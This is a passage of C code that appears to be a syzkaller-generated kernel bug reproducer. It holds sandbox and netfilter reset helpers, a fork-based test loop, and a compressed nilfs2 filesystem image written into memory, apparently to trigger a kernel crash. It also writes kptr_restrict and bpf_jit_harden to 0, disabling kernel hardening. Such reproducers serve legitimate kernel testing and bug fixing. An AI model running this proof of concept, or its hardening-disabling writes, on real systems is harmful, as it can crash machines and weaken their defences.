num_entries; unsigned int size; }; struct arpt_get_entries { char name[32]; unsigned int size; uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)]; }; struct arpt_replace { char name[32]; unsigned int valid_hooks; unsigned int num_entries; unsigned int size; unsigned int hook_entry[3]; unsigned int underflow[3]; unsigned int num_counters; struct xt_counters* counters; uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)]; }; struct arpt_table_desc { const char* name; struct arpt_getinfo info; struct arpt_replace replace; }; static struct arpt_table_desc arpt_tables[] = { {.name = "filter"}, }; #define ARPT_BASE_CTL 96 #define ARPT_SO_SET_REPLACE (ARPT_BASE_CTL) #define ARPT_SO_GET_INFO (ARPT_BASE_CTL) #define ARPT_SO_GET_ENTRIES (ARPT_BASE_CTL + 1) static void checkpoint_iptables(struct ipt_table_desc* tables, int num_tables, int family, int level) { int fd = socket(family, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (int i = 0; i < num_tables; i++) { struct ipt_table_desc* table = &tables[i]; strcpy(table->info.name, table->name); strcpy(table->replace.name, table->name); socklen_t optlen = sizeof(table->info); if (getsockopt(fd, level, IPT_SO_GET_INFO, &table->info, &optlen)) { switch (errno) { case EPERM: case ENOENT: case ENOPROTOOPT: continue; } exit(1); } if (table->info.size > sizeof(table->replace.entrytable)) exit(1); if (table->info.num_entries > XT_MAX_ENTRIES) exit(1); struct ipt_get_entries entries; memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size; if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); table->replace.valid_hooks = table->info.valid_hooks; table->replace.num_entries = table->info.num_entries; table->replace.size = table->info.size; memcpy(table->replace.hook_entry, table->info.hook_entry, sizeof(table->replace.hook_entry)); memcpy(table->replace.underflow, table->info.underflow, sizeof(table->replace.underflow)); memcpy(table->replace.entrytable, entries.entrytable, table->info.size); } close(fd); } static void reset_iptables(struct ipt_table_desc* tables, int num_tables, int family, int level) { int fd = socket(family, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (int i = 0; i < num_tables; i++) { struct ipt_table_desc* table = &tables[i]; if (table->info.valid_hooks == 0) continue; struct ipt_getinfo info; memset(&info, 0, sizeof(info)); strcpy(info.name, table->name); socklen_t optlen = sizeof(info); if (getsockopt(fd, level, IPT_SO_GET_INFO, &info, &optlen)) exit(1); if (memcmp(&table->info, &info, sizeof(table->info)) == 0) { struct ipt_get_entries entries; memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size; if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); if (memcmp(table->replace.entrytable, entries.entrytable, table->info.size) == 0) continue; } struct xt_counters counters[XT_MAX_ENTRIES]; table->replace.num_counters = info.num_entries; table->replace.counters = counters; optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) + table->replace.size; if (setsockopt(fd, level, IPT_SO_SET_REPLACE, &table->replace, optlen)) exit(1); } close(fd); } static void checkpoint_arptables(void) { int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (unsigned i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) { struct arpt_table_desc* table = &arpt_tables[i]; strcpy(table->info.name, table->name); strcpy(table->replace.name, table->name); socklen_t optlen = sizeof(table->info); if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &table->info, &optlen)) { switch (errno) { case EPERM: case ENOENT: case ENOPROTOOPT: continue; } exit(1); } if (table->info.size > sizeof(table->replace.entrytable)) exit(1); if (table->info.num_entries > XT_MAX_ENTRIES) exit(1); struct arpt_get_entries entries; memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size; if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); table->replace.valid_hooks = table->info.valid_hooks; table->replace.num_entries = table->info.num_entries; table->replace.size = table->info.size; memcpy(table->replace.hook_entry, table->info.hook_entry, sizeof(table->replace.hook_entry)); memcpy(table->replace.underflow, table->info.underflow, sizeof(table->replace.underflow)); memcpy(table->replace.entrytable, entries.entrytable, table->info.size); } close(fd); } static void reset_arptables() { int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (unsigned i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) { struct arpt_table_desc* table = &arpt_tables[i]; if (table->info.valid_hooks == 0) continue; struct arpt_getinfo info; memset(&info, 0, sizeof(info)); strcpy(info.name, table->name); socklen_t optlen = sizeof(info); if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &info, &optlen)) exit(1); if (memcmp(&table->info, &info, sizeof(table->info)) == 0) { struct arpt_get_entries entries; memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size; if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); if (memcmp(table->replace.entrytable, entries.entrytable, table->info.size) == 0) continue; } else { } struct xt_counters counters[XT_MAX_ENTRIES]; table->replace.num_counters = info.num_entries; table->replace.counters = counters; optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) + table->replace.size; if (setsockopt(fd, SOL_IP, ARPT_SO_SET_REPLACE, &table->replace, optlen)) exit(1); } close(fd); } #define NF_BR_NUMHOOKS 6 #define EBT_TABLE_MAXNAMELEN 32 #define EBT_CHAIN_MAXNAMELEN 32 #define EBT_BASE_CTL 128 #define EBT_SO_SET_ENTRIES (EBT_BASE_CTL) #define EBT_SO_GET_INFO (EBT_BASE_CTL) #define EBT_SO_GET_ENTRIES (EBT_SO_GET_INFO + 1) #define EBT_SO_GET_INIT_INFO (EBT_SO_GET_ENTRIES + 1) #define EBT_SO_GET_INIT_ENTRIES (EBT_SO_GET_INIT_INFO + 1) struct ebt_replace { char name[EBT_TABLE_MAXNAMELEN]; unsigned int valid_hooks; unsigned int nentries; unsigned int entries_size; struct ebt_entries* hook_entry[NF_BR_NUMHOOKS]; unsigned int num_counters; struct ebt_counter* counters; char* entries; }; struct ebt_entries { unsigned int distinguisher; char name[EBT_CHAIN_MAXNAMELEN]; unsigned int counter_offset; int policy; unsigned int nentries; char data[0] __attribute__((aligned(__alignof__(struct ebt_replace)))); }; struct ebt_table_desc { const char* name; struct ebt_replace replace; char entrytable[XT_TABLE_SIZE]; }; static struct ebt_table_desc ebt_tables[] = { {.name = "filter"}, {.name = "nat"}, {.name = "broute"}, }; static void checkpoint_ebtables(void) { int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (size_t i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) { struct ebt_table_desc* table = &ebt_tables[i]; strcpy(table->replace.name, table->name); socklen_t optlen = sizeof(table->replace); if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_INFO, &table->replace, &optlen)) { switch (errno) { case EPERM: case ENOENT: case ENOPROTOOPT: continue; } exit(1); } if (table->replace.entries_size > sizeof(table->entrytable)) exit(1); table->replace.num_counters = 0; table->replace.entries = table->entrytable; optlen = sizeof(table->replace) + table->replace.entries_size; if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_ENTRIES, &table->replace, &optlen)) exit(1); } close(fd); } static void reset_ebtables() { int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (unsigned i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) { struct ebt_table_desc* table = &ebt_tables[i]; if (table->replace.valid_hooks == 0) continue; struct ebt_replace replace; memset(&replace, 0, sizeof(replace)); strcpy(replace.name, table->name); socklen_t optlen = sizeof(replace); if (getsockopt(fd, SOL_IP, EBT_SO_GET_INFO, &replace, &optlen)) exit(1); replace.num_counters = 0; table->replace.entries = 0; for (unsigned h = 0; h < NF_BR_NUMHOOKS; h++) table->replace.hook_entry[h] = 0; if (memcmp(&table->replace, &replace, sizeof(table->replace)) == 0) { char entrytable[XT_TABLE_SIZE]; memset(&entrytable, 0, sizeof(entrytable)); replace.entries = entrytable; optlen = sizeof(replace) + replace.entries_size; if (getsockopt(fd, SOL_IP, EBT_SO_GET_ENTRIES, &replace, &optlen)) exit(1); if (memcmp(table->entrytable, entrytable, replace.entries_size) == 0) continue; } for (unsigned j = 0, h = 0; h < NF_BR_NUMHOOKS; h++) { if (table->replace.valid_hooks & (1 << h)) { table->replace.hook_entry[h] = (struct ebt_entries*)table->entrytable + j; j++; } } table->replace.entries = table->entrytable; optlen = sizeof(table->replace) + table->replace.entries_size; if (setsockopt(fd, SOL_IP, EBT_SO_SET_ENTRIES, &table->replace, optlen)) exit(1); } close(fd); } static void checkpoint_net_namespace(void) { checkpoint_ebtables(); checkpoint_arptables(); checkpoint_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]), AF_INET, SOL_IP); checkpoint_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]), AF_INET6, SOL_IPV6); } static void reset_net_namespace(void) { reset_ebtables(); reset_arptables(); reset_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]), AF_INET, SOL_IP); reset_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]), AF_INET6, SOL_IPV6); } static void mount_cgroups(const char* dir, const char** controllers, int count) { if (mkdir(dir, 0777)) { return; } char enabled[128] = {0}; int i = 0; for (; i < count; i++) { if (mount("none", dir, "cgroup", 0, controllers[i])) { continue; } umount(dir); strcat(enabled, ","); strcat(enabled, controllers[i]); } if (enabled[0] == 0) { if (rmdir(dir) && errno != EBUSY) exit(1); return; } if (mount("none", dir, "cgroup", 0, enabled + 1)) { if (rmdir(dir) && errno != EBUSY) exit(1); } if (chmod(dir, 0777)) { } } static void mount_cgroups2(const char** controllers, int count) { if (mkdir("/syzcgroup/unified", 0777)) { return; } if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) { if (rmdir("/syzcgroup/unified") && errno != EBUSY) exit(1); return; } if (chmod("/syzcgroup/unified", 0777)) { } int control = open("/syzcgroup/unified/cgroup.subtree_control", O_WRONLY); if (control == -1) return; int i; for (i = 0; i < count; i++) if (write(control, controllers[i], strlen(controllers[i])) < 0) { } close(control); } static void setup_cgroups() { const char* unified_controllers[] = {"+cpu", "+memory", "+io", "+pids"}; const char* net_controllers[] = {"net", "net_prio", "devices", "blkio", "freezer"}; const char* cpu_controllers[] = {"cpuset", "cpuacct", "hugetlb", "rlimit"}; if (mkdir("/syzcgroup", 0777)) { return; } mount_cgroups2(unified_controllers, sizeof(unified_controllers) / sizeof(unified_controllers[0])); mount_cgroups("/syzcgroup/net", net_controllers, sizeof(net_controllers) / sizeof(net_controllers[0])); mount_cgroups("/syzcgroup/cpu", cpu_controllers, sizeof(cpu_controllers) / sizeof(cpu_controllers[0])); write_file("/syzcgroup/cpu/cgroup.clone_children", "1"); write_file("/syzcgroup/cpu/cpuset.memory_pressure_enabled", "1"); } static void setup_cgroups_loop() { int pid = getpid(); char file[128]; char cgroupdir[64]; snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid); if (mkdir(cgroupdir, 0777)) { } snprintf(file, sizeof(file), "%s/pids.max", cgroupdir); write_file(file, "32"); snprintf(file, sizeof(file), "%s/memory.low", cgroupdir); write_file(file, "%d", 298 << 20); snprintf(file, sizeof(file), "%s/memory.high", cgroupdir); write_file(file, "%d", 299 << 20); snprintf(file, sizeof(file), "%s/memory.max", cgroupdir); write_file(file, "%d", 300 << 20); snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir); write_file(file, "%d", pid); snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid); if (mkdir(cgroupdir, 0777)) { } snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir); write_file(file, "%d", pid); snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid); if (mkdir(cgroupdir, 0777)) { } snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir); write_file(file, "%d", pid); } static void setup_cgroups_test() { char cgroupdir[64]; snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid); if (symlink(cgroupdir, "./cgroup")) { } snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid); if (symlink(cgroupdir, "./cgroup.cpu")) { } snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid); if (symlink(cgroupdir, "./cgroup.net")) { } } static void setup_common() { if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) { } } static void setup_binderfs() { if (mkdir("/dev/binderfs", 0777)) { } if (mount("binder", "/dev/binderfs", "binder", 0, NULL)) { } } static void loop(); static void sandbox_common() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setsid(); struct rlimit rlim; rlim.rlim_cur = rlim.rlim_max = (200 << 20); setrlimit(RLIMIT_AS, &rlim); rlim.rlim_cur = rlim.rlim_max = 32 << 20; setrlimit(RLIMIT_MEMLOCK, &rlim); rlim.rlim_cur = rlim.rlim_max = 136 << 20; setrlimit(RLIMIT_FSIZE, &rlim); rlim.rlim_cur = rlim.rlim_max = 1 << 20; setrlimit(RLIMIT_STACK, &rlim); rlim.rlim_cur = rlim.rlim_max = 128 << 20; setrlimit(RLIMIT_CORE, &rlim); rlim.rlim_cur = rlim.rlim_max = 256; setrlimit(RLIMIT_NOFILE, &rlim); if (unshare(CLONE_NEWNS)) { } if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) { } if (unshare(CLONE_NEWIPC)) { } if (unshare(0x02000000)) { } if (unshare(CLONE_NEWUTS)) { } if (unshare(CLONE_SYSVSEM)) { } typedef struct { const char* name; const char* value; } sysctl_t; static const sysctl_t sysctls[] = { {"/proc/sys/kernel/shmmax", "16777216"}, {"/proc/sys/kernel/shmall", "536870912"}, {"/proc/sys/kernel/shmmni", "1024"}, {"/proc/sys/kernel/msgmax", "8192"}, {"/proc/sys/kernel/msgmni", "1024"}, {"/proc/sys/kernel/msgmnb", "1024"}, {"/proc/sys/kernel/sem", "1024 1048576 500 1024"}, }; unsigned i; for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++) write_file(sysctls[i].name, sysctls[i].value); } static int wait_for_loop(int pid) { if (pid < 0) exit(1); int status = 0; while (waitpid(-1, &status, __WALL) != pid) { } return WEXITSTATUS(status); } static void drop_caps(void) { struct __user_cap_header_struct cap_hdr = {}; struct __user_cap_data_struct cap_data[2] = {}; cap_hdr.version = _LINUX_CAPABILITY_VERSION_3; cap_hdr.pid = getpid(); if (syscall(SYS_capget, &cap_hdr, &cap_data)) exit(1); const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE); cap_data[0].effective &= ~drop; cap_data[0].permitted &= ~drop; cap_data[0].inheritable &= ~drop; if (syscall(SYS_capset, &cap_hdr, &cap_data)) exit(1); } static int do_sandbox_none(void) { if (unshare(CLONE_NEWPID)) { } int pid = fork(); if (pid != 0) return wait_for_loop(pid); setup_common(); sandbox_common(); drop_caps(); if (unshare(CLONE_NEWNET)) { } write_file("/proc/sys/net/ipv4/ping_group_range", "0 65535"); initialize_tun(); initialize_wifi_devices(); setup_binderfs(); loop(); exit(1); } #define FS_IOC_SETFLAGS _IOW('f', 2, long) static void remove_dir(const char* dir) { int iter = 0; DIR* dp = 0; retry: while (umount2(dir, MNT_DETACH | UMOUNT_NOFOLLOW) == 0) { } dp = opendir(dir); if (dp == NULL) { if (errno == EMFILE) { exit(1); } exit(1); } struct dirent* ep = 0; while ((ep = readdir(dp))) { if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0) continue; char filename[FILENAME_MAX]; snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name); while (umount2(filename, MNT_DETACH | UMOUNT_NOFOLLOW) == 0) { } struct stat st; if (lstat(filename, &st)) exit(1); if (S_ISDIR(st.st_mode)) { remove_dir(filename); continue; } int i; for (i = 0;; i++) { if (unlink(filename) == 0) break; if (errno == EPERM) { int fd = open(filename, O_RDONLY); if (fd != -1) { long flags = 0; if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) { } close(fd); continue; } } if (errno == EROFS) { break; } if (errno != EBUSY || i > 100) exit(1); if (umount2(filename, MNT_DETACH | UMOUNT_NOFOLLOW)) exit(1); } } closedir(dp); for (int i = 0;; i++) { if (rmdir(dir) == 0) break; if (i < 100) { if (errno == EPERM) { int fd = open(dir, O_RDONLY); if (fd != -1) { long flags = 0; if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) { } close(fd); continue; } } if (errno == EROFS) { break; } if (errno == EBUSY) { if (umount2(dir, MNT_DETACH | UMOUNT_NOFOLLOW)) exit(1); continue; } if (errno == ENOTEMPTY) { if (iter < 100) { iter++; goto retry; } } } exit(1); } } static void kill_and_wait(int pid, int* status) { kill(-pid, SIGKILL); kill(pid, SIGKILL); for (int i = 0; i < 100; i++) { if (waitpid(-1, status, WNOHANG | __WALL) == pid) return; usleep(1000); } DIR* dir = opendir("/sys/fs/fuse/connections"); if (dir) { for (;;) { struct dirent* ent = readdir(dir); if (!ent) break; if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0) continue; char abort[300]; snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name); int fd = open(abort, O_WRONLY); if (fd == -1) { continue; } if (write(fd, abort, 1) < 0) { } close(fd); } closedir(dir); } else { } while (waitpid(-1, status, __WALL) != pid) { } } static void setup_loop() { setup_cgroups_loop(); checkpoint_net_namespace(); } static void reset_loop() { char buf[64]; snprintf(buf, sizeof(buf), "/dev/loop%llu", procid); int loopfd = open(buf, O_RDWR); if (loopfd != -1) { ioctl(loopfd, LOOP_CLR_FD, 0); close(loopfd); } reset_net_namespace(); } static void setup_test() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); setup_cgroups_test(); write_file("/proc/self/oom_score_adj", "1000"); flush_tun(); if (symlink("/dev/binderfs", "./binderfs")) { } } static void close_fds() { for (int fd = 3; fd < MAX_FDS; fd++) close(fd); } static void setup_binfmt_misc() { if (mount(0, "/proc/sys/fs/binfmt_misc", "binfmt_misc", 0, 0)) { } write_file("/proc/sys/fs/binfmt_misc/register", ":syz0:M:0:\x01::./file0:"); write_file("/proc/sys/fs/binfmt_misc/register", ":syz1:M:1:\x02::./file0:POC"); } static void setup_sysctl() { char mypid[32]; snprintf(mypid, sizeof(mypid), "%d", getpid()); struct { const char* name; const char* data; } files[] = { {"/sys/kernel/debug/x86/nmi_longest_ns", "10000000000"}, {"/proc/sys/kernel/hung_task_check_interval_secs", "20"}, {"/proc/sys/net/core/bpf_jit_kallsyms", "1"}, {"/proc/sys/net/core/bpf_jit_harden", "0"}, {"/proc/sys/kernel/kptr_restrict", "0"}, {"/proc/sys/kernel/softlockup_all_cpu_backtrace", "1"}, {"/proc/sys/fs/mount-max", "100"}, {"/proc/sys/vm/oom_dump_tasks", "0"}, {"/proc/sys/debug/exception-trace", "0"}, {"/proc/sys/kernel/printk", "7 4 1 3"}, {"/proc/sys/kernel/keys/gc_delay", "1"}, {"/proc/sys/vm/oom_kill_allocating_task", "1"}, {"/proc/sys/kernel/ctrl-alt-del", "0"}, {"/proc/sys/kernel/cad_pid", mypid}, }; for (size_t i = 0; i < sizeof(files) / sizeof(files[0]); i++) { if (!write_file(files[i].name, files[i].data)) printf("write to %s failed: %s\n", files[i].name, strerror(errno)); } } struct thread_t { int created, call; event_t ready, done; }; static struct thread_t threads[16]; static void execute_call(int call); static int running; static void* thr(void* arg) { struct thread_t* th = (struct thread_t*)arg; for (;;) { event_wait(&th->ready); event_reset(&th->ready); execute_call(th->call); __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED); event_set(&th->done); } return 0; } static void execute_one(void) { int i, call, thread; for (call = 0; call < 14; call++) { for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) { struct thread_t* th = &threads[thread]; if (!th->created) { th->created = 1; event_init(&th->ready); event_init(&th->done); event_set(&th->done); thread_start(thr, th); } if (!event_isset(&th->done)) continue; event_reset(&th->done); th->call = call; __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED); event_set(&th->ready); event_timedwait(&th->done, 50 + (call == 0 ? 4000 : 0)); break; } } for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++) sleep_ms(1); close_fds(); } static void execute_one(void); #define WAIT_FLAGS __WALL static void loop(void) { setup_loop(); int iter = 0; for (;; iter++) { char cwdbuf[32]; sprintf(cwdbuf, "./%d", iter); if (mkdir(cwdbuf, 0777)) exit(1); reset_loop(); int pid = fork(); if (pid < 0) exit(1); if (pid == 0) { if (chdir(cwdbuf)) exit(1); setup_test(); execute_one(); exit(0); } int status = 0; uint64_t start = current_time_ms(); for (;;) { if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid) break; sleep_ms(1); if (current_time_ms() - start < 5000) continue; kill_and_wait(pid, &status); break; } remove_dir(cwdbuf); } } uint64_t r[4] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff}; void execute_call(int call) { intptr_t res = 0; switch (call) { case 0: memcpy((void*)0x200000c0, "nilfs2\000", 7); memcpy((void*)0x20000100, "./bus\000", 6); memcpy( (void*)0x200006c0, "\x78\x9c\xec\xdd\xcb\x6f\x5c\x57\xfd\x00\xf0\x73\xc7\x9e\x38\xaf\xfe" "\xe2\x34\xee\x2f\x26\x84\xc4\x24\x94\x86\x47\xec\x26\xb5\x28\x3b\x5c" "\x29\x2c\x2a\xa4\x0a\x29\x7f\x41\x15\xd2\x92\xe2\x96\x47\xc2\xa2\x55" "\x2a\x25\x59\xb0\x25\x52\xd5\x3f\x80\xaa\x6b\x58\xf0\xcc\xa2\x52\xd4" "\x55\x50\x37\x20\xfe\x81\xaa\x2b\x36\xa1\xaa\x54\x20\x42\x6a\x8d\x6c" "\x9f\x33\x1e\x7f\x33\xc3\x9d\x71\x6c\x8f\xc7\xf3\xf9\x48\x77\xce\xdc" "\xfb\x3d\xf7\x9e\x73\xe6\x71\xe7\xce\x7d\x9d\x04\x8c\xac\xc6\xca\xe3" "\xfc\xfc\x74\x95\xd2\xdb\x77\xde\xba\xf0\xe0\xe4\xf8\xbf\x97\xa7\x9c" "\x6c\xe5\x98\x59\x79\x1c\xcf\x63\x0b\x29\xa5\x66\x6b\xbe\x94\x26\xc3" "\xf2\x16\x26\x56\xd3\xcf\x3e\xb9\x7e\xa9\x3d\xfd\x3c\xa7\x55\x3a\x9f" "\xaa\x54\xb5\xa6\xa7\x17\xee\xb7\xe6\x3d\x90\x52\xba\x91\x66\xd2\xdd" "\x34\x99\x2e\x7e\x7c\xf4\xf6\x2b\x1f\x3c\xbf\xf8\xde\x91\x9b\x47\x2e" "\xbc\x79\xe6\xde\xd6\xb4\x1e\x00\x00\x46\xcb\x83\xef\xbd\xfb\xd3\x3f" "\x3f\xf5\xdd\xeb\x87\xff\xf3\x9b\x13\x0b\x69\xa2\x35\xbd\x6c\x9f\x2f" "\xe4\xf1\x83\x79\xbb\x7f\xa1\x5a\x1d\xcf\x49\xeb\x7f\x40\xd5\x96\x56" "\x6d\xe3\xc5\x9e\x90\x6f\x3c\x0f\x8d\x90\x6f\xac\x43\xbe\xf6\x72\x9a" "\x21\xdf\x78\x97\xf2\xf7\x84\xe5\x36\xbb\xe4\x9b\xa8\x29\x7f\xac\x6d" "\x5a\xa7\x76\xc3\x30\x5b\xfb\x1f\x5f\x35\x66\xd7\x8d\x37\x1a\xb3\xb3" "\xab\xff\xc9\x97\x7d\x38\xb6\xa7\x9a\x7d\xed\xca\xe2\x4b\x57\x07\x54" "\x51\x60\xd3\x7d\x7a\x32\xef\xe2\x33\x18\x0c\x23\x37\x2c\x1d\x1a\xf4" "\x1a\x08\x60\x55\x3c\x6e\xf8\x90\x1b\x71\xcf\xc2\xa3\x69\x2d\x6d\xbc" "\xb7\xf2\xef\x3f\xd7\xe8\x3c\x3f\x6c\x82\xed\xfe\xfc\x2b\x7f\xb8\xca" "\x7f\xf7\xa6\x35\x0e\x9b\x67\xb7\x7e\x9a\x4a\xbb\xca\xf7\xe8\x60\x1e" "\x8f\xc7\x11\xc6\xc3\x7c\xfd\x7e\xff\xcb\xf2\xe2\xf1\x88\x66\x8f\xf5" "\xec\x76\x1c\x61\x58\x8e\x2f\x74\xab\xe7\xd8\x36\xd7\x63\xa3\xba\xd5" "\x3f\x7e\x2e\x76\xab\x2f\xe5\xb4\xbc\x0e\x27\x42\xbc\xfd\xfb\x13\xdf" "\xd3\x61\x79\x8f\x81\xce\x1e\xd8\xff\x6f\x30\x8c\xec\xb0\x34\xe8\x15" "\x10\xb0\x63\xc5\xf3\xe6\x96\xb2\x12\x8f\xe7\xf5\xc5\xf8\x44\x4d\x7c" "\x6f\x4d\x7c\x5f\x4d\x7c\x7f\x4d\xfc\x40\x4d\x1c\x46\xd9\x6f\xaf\xfd" "\x32\xdd\xae\xd6\xfe\xe7\xc7\xff\xf4\xfd\xee\x0f\x2b\xfb\xd9\x1e\xcb" "\xe9\xff\xf5\x59\x9f\xb8\x3f\xb2\xdf\xf2\xe3\x79\xbf\xfd\x7a\xd4\xf2" "\xe3\xf9\xc4\xb0\xa3\x9d\xf9\xd7\xf1\x4f\x7f\x7e\xf7\x2f\xf1\xfc\xff" "\xcf\xc3\xf9\xff\xa7\xf3\x6f\xe9\x64\x5e\x41\x94\xfd\x85\x71\xbf\x7a" "\xeb\xdc\xff\x70\x61\x70\xa3\x4b\xbe\xc7\x43\x75\x1e\xeb\x90\x7f\xe5" "\xf9\xd4\xfa\x7c\xd5\xd4\xda\x72\x52\xdb\x7a\xe6\xa1\x7a\x4c\xaf\x9f" "\xef\x50\xb7\x7c\xc7\xd7\xe7\x9b\x0c\xf9\xf6\xe7\x6d\x91\xbd\xa1\xbe" "\x71\xfb\x64\x7f\x98\xaf\x6c\x7f\x94\xf5\x6a\x79\xbd\xc6\x43\x7b\x9b" "\xa1\x1d\x7b\x42\x3d\xca\x3b\x73\x38\xa7\x7b\x43\x7b\x0e\x77\x6b\x57" "\xd8\x91\xbd\x27\xe4\x6b\xe6\xe1\x48\x68\xd7\x54\x68\xd7\x13\x61\xbe" "\xff\x0f\xed\xaa\xa6\xd7\xb7\x2b\xee\x3f\x2f\xf5\x39\x1a\xa6\xc7\xe3" "\x24\x25\x5f\x78\xdb\x1e\xfa\x5d\x8a\xef\x45\xbc\x2e\xe3\x54\x4e\x6f" "\xe5\xf4\x9d\x9c\xbe\x9f\xd3\x8f\x3a\x94\x3b\x8a\xca\xe7\xb1\xdb\xf9" "\xff\xe5\xf3\x39\x9d\x9a\xd5\x4b\x57\x16\x2f\x3f\x9d\xc7\xcb\xe7\xf4" "\xde\x58\x73\x62\x79\xfa\xb9\x6d\xae\x37\xf0\xe8\x7a\xbd\xfe\x67\x3a" "\xad\xbf\xfe\xe7\x60\x6b\x7a\xb3\xd1\xbe\x5e\x38\xb4\x36\xbd\x6a\x5f" "\x2f\x4c\x86\xe9\xe7\xbb\x4c\x7f\x26\x8f\x97\xdf\xb3\x1f\x8e\xed\x5b" "\x99\x3e\x7b\xe9\xc7\x8b\x3f\xd8\xec\xc6\xc3\x88\xbb\xfa\xfa\x1b\x3f" "\x7a\x71\x71\xf1\xf2\xcf\x3c\xf1\xc4\x13\x4f\x5a\x4f\xfe\xc7\x4a\xe3" "\xd7\x33\x17\xaf\x6d\xe3\x3a\x0a\xd8\x1a\x73\xd7\x5e\xfd\xc9\xdc\xd5" "\xd7\xdf\x38\x7b\xe5\xd5\x17\x5f\xbe\xfc\xf2\xe5\xd7\xce\x3d\xfd\xed" "\x6f\x3d\xf3\xec\xb3\xf3\x73\x2b\x5b\xf5\x73\xed\xdb\xf6\xc0\xee\xb2" "\xf6\xa3\x3f\xe8\x9a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3d\xab" "\xf6\x75\x9e\x9c\xd3\xba\xfb\xdb\x96\xeb\xc9\xcb\xf5\xe9\xf1\xfa\x78" "\x86\x43\x79\xdf\xca\xa7\xa1\xdc\xc7\xa0\x5c\xff\xd9\xed\xbe\x2e\xe5" "\xfa\xcd\xc3\xdb\x50\x47\x36\xdf\x76\x5c\x4e\x34\xe8\x36\x02\x9d\xfd" "\xc3\xfd\x7f\x0d\x86\x91\x1d\x96\x96\xdc\xc5\x1f\xd8\x19\x06\xdd\xff" "\x5f\xb9\xef\x61\x49\x0f\x9e\xfd\xdb\xe1\xe5\xa1\x64\xbb\xff\xdc\xfa" "\xf5\x65\xbc\x7f\x21\x3c\x8a\x9d\xde\xff\x9c\xf2\x77\x57\xff\x7f\xad" 